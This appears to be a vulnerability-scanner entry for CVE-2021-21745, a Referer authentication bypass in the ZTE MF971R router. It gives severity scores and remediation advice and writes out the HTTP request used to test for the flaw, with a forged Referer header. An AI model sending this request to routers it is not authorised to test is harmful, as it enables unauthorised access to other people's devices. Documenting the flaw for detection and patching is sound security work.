| Title | ZTE MF971R - Referer authentication bypass |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | An attacker can bypass authentication and gain unauthorized access to the router. |
| Remediation | Apply the latest firmware update provided by ZTE to fix the authentication bypass vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.40585 |
| CVE ID | CVE-2021-21745 |
| CWE ID | CWE-352 |
| Tags | cve2021 cve zte auth-bypass router vkev vuln |
ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould use this vulnerability to perform illegal authorization operations by sending a request to the user to click.
GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Referer: http://interact.sh/127.0.0.1.html
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21745.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21745.pcap
N/AN/A